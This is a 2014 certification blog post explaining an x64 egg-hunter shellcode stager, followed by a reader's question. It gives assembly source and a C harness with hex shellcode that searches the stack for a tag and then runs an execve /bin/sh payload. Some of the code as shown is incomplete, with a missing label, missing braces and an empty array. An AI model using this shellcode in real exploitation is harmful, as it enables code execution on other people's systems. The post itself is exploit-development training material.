Wednesday, December 24, 2014

x64 Egg-Hunter Shellcode Stager

The "egg-hunter" is a form of staged shellcode that is useful when you can inject a large payload into a process but aren't sure where in memory it will end up. If you can get the instruction pointer to point to a smaller, hunter code, you can search memory to find the main payload, which is prepended with a small tag of bytes (the egg). Egg-hunter code, even moreso than other shellcode, needs to be as small as possible.

Here is an example that assumes our main payload will be farther down the stack. Recall the stack grows toward lower addresses, so we will load the current stack pointer and increase it, going back toward higher addresses (the bottom of the stack). The egg is a simple 4-byte sequence that we are searching for, and we jump to what follows it.


egg equ  'z0x0'

global _start
section .text

    push rsp                  ; load current stack pointer
    pop rcx
    add rcx, 0xff             ; we need to skip our own code

    inc rcx                   ; higher addresses
    cmp dword [rcx - 4], egg
    jne hunt

    jmp rcx

This assembles down into a nice compact 20 bytes.


Remember RCX begins at the stack pointer, the start of our hunter shellcode. We don't want to accidently find the egg that is within our hunter shellcode (doing so in this case will result in an infinite loop). Since we know this shellcode is 20 bytes, we add 4 to it (since the compare subtracts 4) to skip completely over all of our own code, and dig deeper down into the stack. So in the final payload we can replace the addition of 0xff to RCX with 0x18 (decimal 24).

Finally, here is a C example that sets up a dirty stack, which has a local shell payload for the egghunter to find. It is compiled with: gcc -m64 -z execstack egghunt.c

int main(void)
    char egghunter[] =
        "\x54"                          /* push   %rsp */
        "\x59"                          /* pop    %rcx */
        "\x48\x83\xc1\x18"              /* add    $0x18,%rcx */
        "\x48\xff\xc1"                  /* inc    %rcx */
        "\x81\x79\xfc\x7a\x30\x78\x30"  /* cmpl   $egg,-0x4(%rcx) */
        "\x75\xf4"                      /* jne    6 hunt */
        "\xff\xe1"                      /* jmpq   *%rcx */;

    char stackgarbage[] = 

    char eggpayload[] = 
        "z0x0"                          /* egg */
        "\x31\xf6"                      /* xor    %esi,%esi */
        "\x48\xbf\xd1\x9d\x96\x91\xd0"  /* movabs $str,%rdi */
        "\x8c\x97\xff"                  /* . */
        "\x48\xf7\xdf"                  /* neg    %rdi */
        "\xf7\xe6"                      /* mul    %esi */
        "\x04\x3b"                      /* add    $0x3b,%al */
        "\x57"                          /* push   %rdi */
        "\x54"                          /* push   %rsp */
        "\x5f"                          /* pop    %rdi */
        "\x0f\x05"                      /* syscall */;

    (*(void(*)()) egghunter)();

    return 0;

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

1 comment :

  1. Hey man. Nice guide. I am also doing the certification and was stuck on this one. How do you know that the egg hunter shellcode you wrote(of 20 bytes) is in working condition? Did you make a custom stack where hid something and then used that to find out? I am trying that and the code is just not working. Please Help!!
    Once again, Awesome Blog